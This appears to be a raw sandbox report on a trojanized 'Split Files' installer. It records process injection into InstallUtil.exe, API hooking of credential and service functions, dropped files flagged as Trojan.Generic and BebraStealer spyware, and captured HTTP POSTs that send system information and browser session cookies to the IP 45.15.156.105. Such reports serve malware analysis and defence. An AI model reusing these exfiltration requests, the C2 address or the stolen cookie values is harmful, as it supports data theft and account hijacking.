"C:\Program Files (x86)\Split Files\is-ONS5M.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\is-S6R5B.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-NOJFT.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-2881T.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-6DTE7.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-EPP6V.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-Q60AV.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-37P87.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-JP88O.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-RHNIL.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\language\is-B118D.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\is-92BAF.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\is-LE5V1.tmp" with delete access "is-OJFQK.tmp" opened "C:\Program Files (x86)\Split Files\is-OLSP5.tmp" with delete access4d:T4da,"123.EXE.63A6FA2E.bin" claimed CRC 0 while the actual is CRC 4178773 "321.EXE.63A6FA31.bin" claimed CRC 2699045 while the actual is CRC 420632 "softokn3.dll" claimed CRC 319137 while the actual is CRC 2709219 "t1Zbrj1itpE9fbhbR3AqjWey.exe" claimed CRC 236343 while the actual is CRC 2193472 "freebl3.dll" claimed CRC 688617 while the actual is CRC 236343 "A02FZXMsOhT8vUffJfmsE6xk.exe" claimed CRC 5068659 while the actual is CRC 688617 "msvcp140.dll" claimed CRC 492575 while the actual is CRC 1821692 "nss3.dll" claimed CRC 2085373 while the actual is CRC 492575 "WNst4DDcz7SNmvPN7EHhdVA3.exe" claimed CRC 1533249 while the actual is CRC 2085373 "6523_1_.exe" claimed CRC 264209 while the actual is CRC 1533249 "C8_Qu2FeVDw2iL7F0qC52rTI.exe" claimed CRC 367982 while the actual is CRC 264209 "sqlite3.dll" claimed CRC 1154504 while the actual is CRC 367982 "btrAEvAS6d6T6WWPLm9Rs0rW.exe" claimed CRC 182775 while the actual is CRC 190145 "softwinx86_1_.exe" claimed CRC 414381 while the actual is CRC 197942 "qiQP6tdXBnQkeYGNMzFcxIa2.exe" claimed CRC 1973372 while the actual is CRC 3695043 "mozglue.dll" claimed CRC 650989 while the actual is CRC 35282 "SplitFiles119.exe" claimed CRC 3230947 while the actual is CRC 6509894e:T5bd,GetModuleHandleA GetModuleFileNameW UnhandledExceptionFilter GetCommandLineW LoadLibraryExW GetStartupInfoW GetCommandLineA GetProcAddress GetFileSizeEx FindNextFileW WriteFile FindFirstFileExW GetModuleHandleW TerminateProcess GetModuleHandleExW CreateFileW IsDebuggerPresent GetFileAttributesA GetFileAttributesW GetThreadContext GetTempPathA GetTempPathW OutputDebugStringW OutputDebugStringA LoadLibraryW GetVersionExW GetTickCount VirtualProtect GetVersionExA LoadLibraryA GetStartupInfoA GetFileSize OpenProcess DeleteFileA DeleteFileW CreateFileMappingW CreateFileMappingA CreateFileA GetSystemInfo MapViewOfFile GetFileAttributesExW CreateProcessA Sleep FindNextFileA OpenFileMappingW GetModuleFileNameA LoadLibraryExA GetSystemDirectoryW CreateDirectoryW FindFirstFileExA FindFirstFileW LockResource FindResourceW GetLogicalDrives CopyFileW CreateDirectoryExW GetSystemDirectoryA CreateDirectoryA FindFirstFileA CopyFileExW VirtualAlloc GetComputerNameA CreateServiceA RegCloseKey OpenProcessToken RegOpenKeyExA GetNativeSystemInfo SetSecurityDescriptorDacl GetFileAttributesExA accept WSAStartup connect closesocket send listen recv socket bind recvfrom sendto GetTickCount64 GetLastActivePopup CreateThread SleepConditionVariableSRW ExitThread WinExec FindResourceA GetCursorPos GetClipboardData SetWindowsHookExA FindWindowA GetWindowThreadProcessId DeviceIoControl4f:Tad9,"Install.exe" wrote bytes "e9e0cc3502" to virtual address "0x9FB034F0" ("GetUserNameA@ADVAPI32.DLL") "Install.exe" wrote bytes "a09d6a9ffd7f0000608e6a9ffd7f000090b7689ffd7f0000a0906a9ffd7f0000508d689ffd7f0000502e689ffd7f000020c46a9ffd7f000070bb6a9ffd7f000080bc6a9ffd7f000040786b9ffd7f0000a0ba6a9ffd7f000000886a9ffd7f0000" to virtual address "0xA2364030" (part of module "GDI32.DLL") "Install.exe" wrote bytes "5058daa1fd7f00000057daa1fd7f0000" to virtual address "0x9F5A4390" (part of module "KERNELBASE.DLL") "Install.exe" wrote bytes "e0e4dca1fd7f000040ebd9a1fd7f000000f1daa1fd7f000090efd9a1fd7f000050e5daa1fd7f000080c8d9a1fd7f000010d9d9a1fd7f000050afdaa1fd7f000050eddaa1fd7f000070ced9a1fd7f000070e7daa1fd7f0000" to virtual address "0x9F5A4410" (part of module "KERNELBASE.DLL") "Install.exe" wrote bytes "e92e683802" to virtual address "0x9FAD98E0" ("InitiateShutdownW@ADVAPI32.DLL") "Install.exe" wrote bytes "e9629afdff" to virtual address "0x9FAD74E0" ("OpenSCManagerW@ADVAPI32.DLL") "Install.exe" wrote bytes "e9629afdff" to virtual address "0x9FAD7460" ("OpenServiceW@ADVAPI32.DLL") "Install.exe" wrote bytes "e9a24cfdff" to virtual address "0x9FADC1E0" ("ControlService@ADVAPI32.DLL") "Install.exe" wrote bytes "e9e2493702" to virtual address "0x9FAEB860" ("CredEnumerateA@ADVAPI32.DLL") "Install.exe" wrote bytes "e9e24dfcff" to virtual address "0x9FAEC120" ("OpenServiceA@ADVAPI32.DLL") "Install.exe" wrote bytes "e9ee253602" to virtual address "0x9FAFDA60" ("InitiateSystemShutdownExA@ADVAPI32.DLL") "Install.exe" wrote bytes "e9ef0bfbff" to virtual address "0x9FB001E0" ("EnumServicesStatusA@ADVAPI32.DLL") "Install.exe" wrote bytes "e97009fbff" to virtual address "0x9FB00420" ("EnumServicesStatusW@ADVAPI32.DLL") "Install.exe" wrote bytes "a071dfa1fd7f0000d012daa1fd7f0000b037dba1fd7f00002019daa1fd7f000090fed9a1fd7f00002019daa1fd7f00002019daa1fd7f00004071dfa1fd7f0000e01cdaa1fd7f0000e01cdaa1fd7f0000" to virtual address "0x9F5A4288" (part of module "KERNELBASE.DLL") "Install.exe" wrote bytes "403bdaa1fd7f00005075dfa1fd7f00001087d9a1fd7f0000e076dfa1fd7f00002078dfa1fd7f00004003dba1fd7f00002076dfa1fd7f00004038daa1fd7f0000" to virtual address "0x9F5A4348" (part of module "KERNELBASE.DLL") "Install.exe" wrote bytes "7014d9a1fd7f0000001ed9a1fd7f0000" to virtual address "0x9F5A4308" (part of module "KERNELBASE.DLL") "Install.exe" wrote bytes "e9e09c3802" to virtual address "0x9FAD64B0" ("GetUserNameW@ADVAPI32.DLL") "Install.exe" wrote bytes "e9df87fdff" to virtual address "0x9FAD8570" ("EnumServicesStatusExA@ADVAPI32.DLL") "Install.exe" wrote bytes "e992493702" to virtual address "0x9FAEB870" ("CredEnumerateW@ADVAPI32.DLL") "Install.exe" wrote bytes "e920253602" to virtual address "0x9FAFDB70" ("InitiateSystemShutdownW@ADVAPI32.DLL")50:T4d5,"InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\btrAEvAS6d6T6WWPLm9Rs0rW.exe" " - (UID: 00000000-00007824) "InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\h_26wPXBLIlKW3_tlCXuCIgV.exe" " - (UID: 00000000-00007824) "InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\qiQP6tdXBnQkeYGNMzFcxIa2.exe" " - (UID: 00000000-00007824) "InstallUtil.exe" called "CreateProcessW" with parameter ""C:\Users\iU35TUU\Pictures\Minor Policy\SxLq4VT9l0e3RpdDKb2p2T_O.exe" " - (UID: 00000000-00007824) "btrAEvAS6d6T6WWPLm9Rs0rW.exe" called "CreateProcessW" with parameter "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" - (UID: 00000000-00002584) "i5NUMaNH2togQeBv7Jyo6PpD.exe" called "CreateProcessW" with parameter ""C:\Windows\Temp\123.exe" " - (UID: 00000000-00006608) "i5NUMaNH2togQeBv7Jyo6PpD.exe" called "CreateProcessW" with parameter ""C:\Windows\Temp\321.exe" " - (UID: 00000000-00006608) "control.exe" called "CreateProcessW" with parameter ""C:\WINDOWS\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\iU35TUU\AppData\Local\Temp\Ae0C.CpL"," - (UID: 00000000-00002676)51:T448,25/71 Antivirus vendors marked dropped file "123.EXE.63A6FA2E.bin" as malicious (classified as "Kryptik.HRYQ" with 35% detection rate) 38/72 Antivirus vendors marked dropped file "321.EXE.63A6FA31.bin" as malicious (classified as "Spyware.BebraStealer" with 52% detection rate) 25/71 Antivirus vendors marked dropped file "123.exe" as malicious (classified as "Kryptik.HRYQ" with 35% detection rate) 59/75 Antivirus vendors marked dropped file "A02FZXMsOhT8vUffJfmsE6xk.exe" as malicious (classified as "Trojan.Generic" with 78% detection rate) 59/75 Antivirus vendors marked dropped file "PowerControl_Svc.exe" as malicious (classified as "Trojan.Generic" with 78% detection rate) 44/86 Antivirus vendors marked dropped file "WNst4DDcz7SNmvPN7EHhdVA3.exe" as malicious (classified as "Trojan.Generic" with 51% detection rate) 38/72 Antivirus vendors marked dropped file "321.exe" as malicious (classified as "Spyware.BebraStealer" with 52% detection rate) 47/72 Antivirus vendors marked dropped file "nnmmo1115_1_.exe" as malicious (classified as "Trojan.Generic" with 65% detection rate)52:T4ce,44/86 Antivirus vendors marked spawned process "WNst4DDcz7SNmvPN7EHhdVA3.exe" (PID: 7280) as malicious (classified as "Trojan.Generic" with 51% detection rate) 47/72 Antivirus vendors marked spawned process "avg7D0AZJ2JmZ76r0V_45Ags.exe" (PID: 3228) as malicious (classified as "Trojan.Generic" with 65% detection rate) 59/75 Antivirus vendors marked spawned process "A02FZXMsOhT8vUffJfmsE6xk.exe" (PID: 6996) as malicious (classified as "Trojan.Generic" with 78% detection rate) 45/72 Antivirus vendors marked spawned process "btrAEvAS6d6T6WWPLm9Rs0rW.exe" (PID: 2584) as malicious (classified as "Gen:Variant.Fragtor" with 62% detection rate) 42/71 Antivirus vendors marked spawned process "i5NUMaNH2togQeBv7Jyo6PpD.exe" (PID: 6608) as malicious (classified as "Gen:Variant.Lazy" with 59% detection rate) 4/72 Antivirus vendors marked spawned process "is-OJFQK.tmp" (PID: 3456) as malicious (classified as "Artemis" with 5% detection rate) 25/71 Antivirus vendors marked spawned process "123.exe" (PID: 1104) as malicious (classified as "Kryptik.HRYQ" with 35% detection rate) 38/72 Antivirus vendors marked spawned process "321.exe" (PID: 4088) as malicious (classified as "Spyware.BebraStealer" with 52% detection rate)53:T1a86,"Install.exe" wrote 4024 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 8 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 1024 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 2110976 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 173056 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 25088 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 95744 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "Install.exe" wrote 43008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" (Handle: 1184) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\C8_Qu2FeVDw2iL7F0qC52rTI.exe" (Handle: 3784) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\C8_Qu2FeVDw2iL7F0qC52rTI.exe" (Handle: 3784) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\C8_Qu2FeVDw2iL7F0qC52rTI.exe" (Handle: 3784) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\kjwAiplIbNHDVZjcXieXEHoy.exe" (Handle: 3212) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\kjwAiplIbNHDVZjcXieXEHoy.exe" (Handle: 3212) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\mEQEEcMv6bzG8imTAK2Rvxfq.exe" (Handle: 3588) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\mEQEEcMv6bzG8imTAK2Rvxfq.exe" (Handle: 3588) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\mEQEEcMv6bzG8imTAK2Rvxfq.exe" (Handle: 3588) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\kjwAiplIbNHDVZjcXieXEHoy.exe" (Handle: 3212) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\WNst4DDcz7SNmvPN7EHhdVA3.exe" (Handle: 2976) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\WNst4DDcz7SNmvPN7EHhdVA3.exe" (Handle: 2976) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\WNst4DDcz7SNmvPN7EHhdVA3.exe" (Handle: 2976) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\mgfDPgPzpR3n3eooxTPENoOw.exe" (Handle: 3812) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\mgfDPgPzpR3n3eooxTPENoOw.exe" (Handle: 3812) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\mgfDPgPzpR3n3eooxTPENoOw.exe" (Handle: 3812) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\TqCmbPDunlWW8L0MzoqQOE05.exe" (Handle: 2064) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\TqCmbPDunlWW8L0MzoqQOE05.exe" (Handle: 2064) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\TqCmbPDunlWW8L0MzoqQOE05.exe" (Handle: 2064) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\avg7D0AZJ2JmZ76r0V_45Ags.exe" (Handle: 2940) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\avg7D0AZJ2JmZ76r0V_45Ags.exe" (Handle: 2940) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\A02FZXMsOhT8vUffJfmsE6xk.exe" (Handle: 2496) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\A02FZXMsOhT8vUffJfmsE6xk.exe" (Handle: 2496) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\A02FZXMsOhT8vUffJfmsE6xk.exe" (Handle: 2496) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\t1Zbrj1itpE9fbhbR3AqjWey.exe" (Handle: 2648) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\t1Zbrj1itpE9fbhbR3AqjWey.exe" (Handle: 2648) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\t1Zbrj1itpE9fbhbR3AqjWey.exe" (Handle: 2648) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\btrAEvAS6d6T6WWPLm9Rs0rW.exe" (Handle: 4024) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\btrAEvAS6d6T6WWPLm9Rs0rW.exe" (Handle: 4024) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\btrAEvAS6d6T6WWPLm9Rs0rW.exe" (Handle: 4024) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\h_26wPXBLIlKW3_tlCXuCIgV.exe" (Handle: 4036) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\h_26wPXBLIlKW3_tlCXuCIgV.exe" (Handle: 4036) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\h_26wPXBLIlKW3_tlCXuCIgV.exe" (Handle: 4036) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\i5NUMaNH2togQeBv7Jyo6PpD.exe" (Handle: 3512) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\i5NUMaNH2togQeBv7Jyo6PpD.exe" (Handle: 3512) "InstallUtil.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\i5NUMaNH2togQeBv7Jyo6PpD.exe" (Handle: 3512) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\qiQP6tdXBnQkeYGNMzFcxIa2.exe" (Handle: 2044) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\qiQP6tdXBnQkeYGNMzFcxIa2.exe" (Handle: 2044) "InstallUtil.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\SxLq4VT9l0e3RpdDKb2p2T_O.exe" (Handle: 1856) "InstallUtil.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\Pictures\Minor Policy\SxLq4VT9l0e3RpdDKb2p2T_O.exe" (Handle: 1856) "mgfDPgPzpR3n3eooxTPENoOw.exe" wrote 4024 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\is-QA9VR.tmp\is-OJFQK.tmp" (Handle: 412)54:T5336,"POST /c95748ed5de11ba1f775b5be83c77323 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=T4Kv0vF8BFKujgpE User-Agent: 23591 Host: 45.15.156.105 Content-Length: 2229 Connection: Keep-Alive Cache-Control: no-cache" with payload:==> "--T4Kv0vF8BFKujgpE Content-Disposition: form-data; name="file"; filename="System Info.txt" Content-Type: application/x-object System Information: - Locale: English - Time zone: - OS: Windows 10 Pro - Architecture: x64 - CPU: Intel(R) Xeon(R) Gold 6240R CPU @ 2.40GH (4 cores) - RAM: 4095 MB - Display size: 1024x611 - Display Devices: 0) VirtualBox Graphics Adapter (WDDM) Installed applications: Microsoft Office Professional Plus 2010 14.0.6029.1000 UpdateAssistant 1.19.0.0 Windows Setup Remediations (x64) (KB4023057) Microsoft Office Access MUI (English) 2010 14.0.6029.1000 Microsoft Office 2010 Service Pack 1 (SP1) Microsoft Office Excel MUI (English) 2010 14.0.6029.1000 Microsoft Office PowerPoint MUI (English) 2010 14.0.6029.1000 Microsoft Office Publisher MUI (English) 2010 14.0.6029.1000 Microsoft Office Outlook MUI (English) 2010 14.0.6029.1000 Microsoft Office Word MUI (English) 2010 14.0.6029.1000 Microsoft Office Proof (English) 2010 14.0.6029.1000 Microsoft Office Proof (French) 2010 14.0.6029.1000 Microsoft Office Proof (Spanish) 2010 14.0.6029.1000 Microsoft Office Proofing (English) 2010 14.0.6029.1000 Microsoft Office Office 32-bit Components 2010 14.0.6029.1000 Microsoft Office Shared 32-bit MUI (English) 2010 14.0.6029.1000 Microsoft Office InfoPath MUI (English) 2010 14.0.6029.1000 Microsoft Office Shared MUI (English) 2010 14.0.6029.1000 Microsoft Office OneNote MUI (English) 2010 14.0.6029.1000 Microsoft Office Groove MUI (English) 2010 14.0.6029.1000 Microsoft Office Shared Setup Metadata MUI (English) 2010 14.0.6029.1000 Microsoft Office Access Setup Metadata MUI (English) 2010 14.0.6029.1000 Update for Windows 10 for x64-based Systems (KB4023057) 2.53.0.0 Adobe Flash Player 32 NPAPI 32.0.0.101 AutoIt v3.3.14.3 Microsoft Edge 103.0.1264.37 Microsoft Edge Update 1.3.171.37 WinPcap 4.1.3 4.1.0.2980 Java 8 Update 161 8.0.1610.12 Java Auto Updater 2.8.161.12 Split Files 3.119 Microsoft Visual C++ 2015 x86 Additional Runtime - 14.0.24215 Adobe Reader XI (11.0.20) Microsoft Visual C++ 2015 x86 Minimum Runtime - 14.0.24215 Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 14.0.24215.1 --T4Kv0vF8BFKujgpE--" "POST /c95748ed5de11ba1f775b5be83c77323 HTTP/1.1 Accept: */* Content-Type: multipart/form-data; boundary=ra3E69oTW5vs7ym2 User-Agent: 23591 Host: 45.15.156.105 Content-Length: 7115 Connection: Keep-Alive Cache-Control: no-cache" with payload:==> "--ra3E69oTW5vs7ym2 Content-Disposition: form-data; name="file"; filename="\cookies.txt" Content-Type: application/x-object .msn.comTRUE/FALSE13329336817727176_EDGE_VdjEwFKPuXaKkvpPETYDyhUL3J42pmw7KAF6CSEd0fWA= www.office.comTRUE/TRUE13327176823150979OH.FLIDdjEws8NdG3GbU3IL5qBxIay96qeF45znSVZ0q2qNOjV2pyKLJ1JS3oXVShK4MB0sKCsb9QE4iVD2Ite0T6viZwF/+Q== .youtube.comTRUE/TRUE13311192822245808VISITOR_INFO1_LIVEdjEwrCHx079pq+UcLo7ocYih6wPVWi1URU1SMet9ETU4g5mL3BaH2JXL .facebook.comTRUE/TRUE13358712822285681sbdjEwNJ0hGL4hIdBgxqJ6FWeVt3mf4w4SycXAr48fuaCwbvdWF74GN4pDLgBENzzAxs/cC2ECWQ== .amazon.comTRUE/TRUE13327176822310972session-iddjEwYA+sWDd/93M8xuZcqyE/of/zBkihfCa+/GZ9wpGyZXzcGMlwgvVWuRsrwSttwuc= .amazon.comTRUE/TRUE13327176822311057session-id-timedjEwLd0tyfPBOKiT7F9HOUA2iobg7rHzS/MzOdlFra3+WjdZl+fJ7Q+M .amazon.comTRUE/FALSE13327176822311092i18n-prefsdjEwbNjfWtrWLdADi13mSL9qSyxtntwh+HhcqdkhBfoEgw== .amazon.comTRUE/TRUE13327176822311124sp-cdndjEwIGS+hCavhcCZc9gF9vnoZlds/8ipXL1cKAMqv/cIoXlEpy9lSw== .ebay.comTRUE/TRUE13358712822585598dp1djEwO+zF1cbJfsY624GvrmvieZvtJj4cEO6riouTc1LwEfcCaUOkMl2t0d1KEA== .ebay.comTRUE/TRUE13358712822585868nonsessiondjEw9PLfFVSdiuZjZlfdKfdJKOAKpqySvRP+6kaFASm1GTQ8C596lsA9SQK+TawZxmki13YmDLQrldYhRu9nQHufAFzWL1s9DPTJ+mZbYWyvvH+Xyh/I2HLTY2bR/T41r0MJxBK7yCZJUbrGWMJMmX/C5fK9X0qM5OXf2AZDtO3QZpr3PVoDYnfcswXbda+YxqvTO3q+0I1J6GJWs9JusQ== .ebay.comTRUE/FALSE13311192822586113__debadjEwbCciEyWKXgBEtXWOzp9LPUT6x4T3Y7ziR/ZB4v88owLlDUv7O709Rkv7oBk0+NYvFIhuMPztklV1iVD2ASGUwbXB4UbOOr65MZ4FIRgL9Vt6O+dYwmu5V0nm5FYeoJ5636lGaCimxYfSsA2mf7VRNeF3Ul84AnW7+Yt2vcupZ3+ZK5P73NoSqOv6I2SYqiK891+rYniQ61yl3mWD outlook.live.comTRUE/TRUE13327176822679299ClientIddjEwBY8gjEKYHRVHzp7dgWlq/gXtddf2Ex+LDL4ZPIJiHBvF2E0qnOv3xuzTAuKpiIO6x5+r4vl5j8O8519Y .ups.comTRUE/TRUE13327176824216732_abckdjEwq1MZePmWbB1Idht55T9ei4G/gy5J1tH207OTlHlKyXANZOx/ePhSG+qffMh7VeOpSq1mbwvbqTHt3M+nhBlX5BFOOcpljHkWUyDzNUM2+gt/XZ8JzUO6j1odH+I47Uhr0Q4j0j2zLJ3Phxj84DnmA1J3xK7RgBnpbOybVtk0q8+YrubGAjhe1S5hpP7ND8HTitnCDGvl9aHF776AiOHi5btyAfrbPq3L95cluNGSRJMTXJaLQ5X+T2xoqPFDDdjxZ1SenACsGp7vyAvsburc/Wp7IzqYKeRjAkjiQtgOw73JTgiFfPCMluvlebcHdijKX5sBYghJ7vPs1aA3Xuak/MveFd1uEWExf6KvRAOmrqzGcD0inoVNOCSn1Xy6Jtvo3IwNfuubC9hrhBtv28pxy987KG8ZOy1Ww/b4gmLO+xuZwNWzKySpN8qOkIStOilLwXbPjUJBUzBLm6HGZBVG4GAP6xZKbJh359Pive2YzhhfeJtdZ/VWcBkoAHXwhuUTcLwYUMEoJA6vpO0cs/QWbCOfNgnUnxmwV8LevPft4667qCI+X+6UVxSGeFVxWemix49qI7W/3OFQD9nfJvA85DM= .msn.comTRUE/edgeFALSE13316618579000000pglt-edgeChromium-ntpdjEwByMAOBarXTNkc16I8oN6ZvfWaG9FSDftcLzunls8WPs= .ups.comTRUE/TRUE13358712825609486ups_language_preferencedjEwa4GMd9b636HLWR4cSAs0Oy0labPKNnJSA/+vSKjZkctr .mgid.comTRUE/TRUE13791957247389134muidndjEwxqDRnh2gZop9pjMnG1zat4fQ1C3DEbeDP+biWjfu6ySpjIxBJZP3FA== .facebook.comTRUE/TRUE13358712838000000_js_datrdjEwfSkAx/PZDnLJVFFNheATId3vaRl5zPObQeGj3rVA4uIwFwqeEP4w7tIEbhw5wS1zI5AgWQ== .msn.comTRUE/FALSE13327176844000000_SSdjEwoGo7WvhFVntnHUqK82aFSiGokyoFvyXZZQBlGv1Sx8hOlA== .ups.comTRUE/TRUE13358799249000000AMCV_036784BD57A8BB277F000101%40AdobeOrgdjEwH7q8b3k9y1XH9CgH9Qp0aejToN0Kk9fq48YrRhBfUNu62OzaBUYpbRIH+2mh3EA/iC4CL0Ym/OD0srYDpG7HZ3NOZavd8yBnKhJx .microsoft.comTRUE/FALSE13329820851000000mboxdjEwsqxTdI38Ehi87JV+oPlXIRh/3Zh/Hd2lkNuPuv4PsWC5IZlV8ip6nx9jwIDwkdJJsD6TcuQyJtOMWVrBiwSgmD6y7gGv7bvFL4uunmcuNFH/ij6EnpC48ZPIcDfd5/0Wzpdk6c7V9bIRCPBkFgELeDmcceM+x0DhL1mG0GAPj5UZFxw= microsoftedgewelcome.microsoft.comTRUE/TRUE13327176851058697MicrosoftApplicationsTelemetryDeviceIddjEwjPtZfqw1LHTUG2wPeDWQ6HkS50Znek96KyGSZSrcoqnSL11+39JEYIbIMtqg4MpAuiQ/yAhBYf3F0JYqs/YyJA== www.clarity.msTRUE/TRUE13327176854954710CLIDdjEwGhcbHoH5BOWVh1y+mUhktH0Kf5Jk0yOWp3ZdTMHyuL9xuKO8cIbFda6NaN3tRDre0C4aIxWj4vhKIvW/4YBw8rfdf1gF0xLYdhfZ2jwG .mediago.ioTRUE/TRUE13390248874223579__mguid_djEw4RW9frFl0XEpXkPmiGTjP+O+SeOjPlQ1nuXiBvg62PyhUUVE27DOSU/OqDNM6KMv6Ua2pO3MwzOmcabC .pippio.comTRUE/TRUE13327176874466473diddjEw2v3S2QWm1KJrwsJzb8hVgpuzIXWe0R7eeoNAXx2g+aYBVF3MaCz+hswsnmo= .pippio.comTRUE/TRUE13327176874466584didtsdjEwp6qjzb1pH0fP0hc/HtKxl7lyQh00m1vc552qBN6yKGYqghqxNSM= .bing.comTRUE/TRUE13358799274860912SRCHDdjEwXHW2Da23eUsd/uhqRDIwYYRcBW370R3Dv2KrcRQIhpP5WbWoaw== .bing.comTRUE/TRUE13358799274860947SRCHUIDdjEw0J3/9QAXin3nIMkAv9y26HRw5Vag0vPz6SDnZyPtroNd/cgBIXQ/YevhaRh2DKo3TJjjVBle02oqas8WwIvAFI8ddpAWNqjfd8MLdJEE .bing.comTRUE/TRUE13358799274860982SRCHUSRdjEwoZgMFIoUG68YCa87qJjTsiISjkJ2cxmghBFL+qO57JtRHSgxOgz6DQ== .bing.comTRUE/TRUE13358799274861017SRCHHPGUSRdjEw1sVlSWwVB8WCzr32J1+tHBJB1/PD/qqMdRSc3dT3ULXIYWGAokL0 .msn.comTRUE/TRUE13364052107079527USRLOCdjEwMH9M3/nuEtKM8WDjmN0yPKwQPNS0w6/CkH/NIA== 